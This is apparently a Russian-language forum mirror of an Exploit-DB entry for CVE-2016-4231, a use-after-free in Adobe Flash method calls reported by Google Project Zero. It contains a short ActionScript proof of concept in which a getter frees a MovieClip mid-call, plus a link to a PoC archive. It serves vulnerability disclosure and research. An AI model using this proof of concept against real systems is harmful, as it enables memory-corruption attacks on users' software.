- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 40356
- Проверка EDB
-
- Пройдено
- Автор
- GOOGLE SECURITY RESEARCH
- Тип уязвимости
- DOS
- Платформа
- MULTIPLE
- CVE
- cve-2016-4231
- Дата публикации
- 2016-09-08
Adobe Flash - Method Calls Use-After-Free
Код:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=846
If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:
var mc = this.createEmptyMovieClip( "mc", 1);
mc.addProperty( "f", func, func );
mc.f("hello");
function func(){
mc.removeMovieClip();
// Fix heap
var d:Date = new Date();
return d.getDate;
}
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40356.zip
- Источник
- www.exploit-db.com